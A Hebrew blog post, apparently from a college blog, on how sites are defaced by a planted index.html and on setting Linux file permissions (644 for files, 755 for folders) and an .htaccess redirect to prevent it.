כאשר מנסים לגשת אל דומיין כלשהו, אך לא מגדירים שם קובץ, באופן אוטומטי המערכת מחפשת אחר קובץ בשם index עם סיומות רלוונטיות. כברירת המחדל, הקובץ הראשון אותו מחפש האפאצ'י הוא קובץ ה html ורק לאחריו קובץ ה php. כלומר, ברגע שמעלים קובץ index.html, אם השרת לא מוגדר נכון באופן אוטומטי הוא מקבל קדימות לקובץ ה PHP. כלומר כל מה שפורץ צריך לעשות זה להעלות קובץ index.html אל השרת ומעכשיו ועד שתסירו אותו – זה מה שיראו המבקרים שלכם.

איך אפשר למנוע את זה? הדרך הפשוטה והקלה היא להפנות באופן אוטומטי את כל הבקשות עבור index.html אל index.php בעזרת קובץ ניהול הגישה.

פותחים את קובץ ה .htaccess (נקודה בתחילת השם) ומוסיפים בראשו את השורות הבאות

RewriteEngine on
RewriteRule index\.html index.php [NC,R]

אם אתם משתמשים בלינקים יפים, השורה הראשונה כבר קיימת אצלכם ואין צורך להוסיף אותה שוב, פשוט הכניסו את השורה השניה מתחת לשורה הקיימת.

מעכשיו, כל מי שינסה לגשת אל קובץ ה index.html יועבר באופן אוטומטי אל index.php.

אבל איך הוא הגיע לשם?

הרבה אנשים חושבים שבשביל שמישהו יצליח להכניס להם קובץ לשרת, הוא צריך גישה ישירה אל החשבון שלהם (בד"כ את פרטי ה ftp). זו שגיאה נפוצה, ולמעשה, הפורץ לא צריך לדעת מה פרטי החשבון שלכם, הוא רק צריך גישה כלשהי לאחת התיקיות בשרת, אפילו של משתמשים אחרים. אם השרת לא אובטח כשורה והרשאות הקבצים לא עודכנו – הדרך להכניס קובץ index.html אל תיקיית השורש מצריכה לא יותר מאשר 15 שורות קוד, אולי אפילו פחות.

בעקבות הפוסט הקודם נתבקשתי להרחיב לגבי הרשאות הקבצים בלינוקס. דבר שלקחתי כברור מאליו (אני ורבים אחרים) והסתבר שיש לגביו חוסר בהירות רב. כפי שאמרתי בעבר, עבור וורדפרס (ואפליקציות php בכלל), הרשאות על כל הקבצים צריכות להיות 644 ועל כל התיקיות 755 – והנה ההסבר.

במחשבים בכלל, לכל קובץ יש שלושה מצבי גישה – קריאה, כתיבה, הרצה. בלינוקס מסמנים אותם בעזרת מספרים. כך למשל הסיפרה 4 מסמנת קריאה בלבד, הסיפרה 6 מסמנת קריאה וכתיבה והסיפרה 7 מסמנת קריאה, כתיבה והרצה.
בנוסף, מערכת ההרשאות של לינוקס מגדירה שלושה סוגי "מורשים". בעלים, קבוצה וכל השאר.
בעלים, הוא האדם שהקובץ הוא שלו. כך למשל, בתיקיית הבית אצלך בשרת, הקבצים מוגדרים שלך.
קבוצה לעומת זאת, פועלת בדיוק כמו שמה. כל האתרים המתאכסנים בשרת שייכים לקבוצת "אתרים" (המצאתי שם) ואל הקבוצה הזו שייך גם התהליך של האפאצ'י – שתפקידו להריץ את האתר.
לבסוף – כל השאר – זה כל האנשים שאין להם התיחסות מפורשת אל הקובץ. כך למשל, באיחסון שיתופי, האנשים שמאכסנים את האתר ביחד איתך על אותו השרת, מבחינת השרת הם "אחרים".

הערה: גם לחלונות אגב יש מערכת הרשאות קבצים לפי קבוצות אבל היא פועלת בצורה קצת שונה.

מה אומרת הרשאה 644 למעשה?
היא אומרת שלך, ולך בלבד, יש הרשאות קריאה וכתיבה אל הקובץ, לקבוצת השרת יש הרשאות קריאה בלבד וכך גם ל"כל השאר".

אם הקבצים שלך מוגדרים לצורך העיניין 664 זה אומר שלקבוצת השרת יש הרשאת כתיבה. מפתח זדוני, יכול לכתוב סקריפט PHP פשוט שיגש אל תיקיות אשר כמשתמש אין לו הרשאות כתיבה אליהן וינסה לכתוב אל הקבצים. מי שמריץ את הקובץ הוא לא הפורץ אלא השרת ואם הקובץ מוגדר 664 הרי שהכתיבה אל הקובץ והוא יפרץ. אם הקובץ מוגדר 644 אזי הכתיבה תיכשל והפריצה נכשלה.

אותו הדבר לגבי תיקיות. הסיפרה 7 אומרת שיש לאותו משתמש גישה מלאה אל התיקיה – כלומר שהוא יכול לכתוב פנימה קבצים. אם תיקיית השורש שלך מוגדרת 777 (טעות מאוד נפוצה ומאוד מסוכנת שנגרמת פעמים רבות בגלל יאוש של משתמשים שלא מבינים את נושא מערכות ההרשאות) או 775 (גם נפוץ, מסוכן לא פחות) זה אומר שלקבוצת השרת יש הרשאה לכתוב קבצים אל התיקיה.

נחזור אל הדוגמא לעיל – כתיבה לתיקיה. כתבתי סקריפט שמחפש תיקיות שורש ומנסה להכניס אליהן קובץ Index.html

אם הקובץ קיים ואין לו הרשאת כתיבה – נכשלתי ואעבור לשרת הבא
אם הקובץ קיים ויש לו הרשאת כתיבה – הצלחתי, פרצתי והמשכתי.
אם הקובץ לא קיים ויש לי הרשאת כתיבה לתיקיה (775 או 777) – הצלחתי – יצרתי את הקובץ
אם הקובץ לא קיים ואין לי הרשאות כתיבה לתיקיה (755) – נכשלתי, הבא.

איך משנים? תלוי בתוכנת ה Ftp איתה אתם עובדים, ב filezilla למשל, יש ללחוץ קליק ימני על קובץ או תיקיה ולבחור ב file permission, בתפריט שיפתח יש לסמן את ההרשאות הרלוונטיות ולאשר. אם אתם מסמנים תיקיה, תיתווסף גם האפשרות להחיל את ההרשאות על הקבצים שבתוכן ועל תתי תיקיות.

הפוסט פריצה לאתר והרשאות קבצים פורסם על ידי ~ניצן~ בבלוג המכללה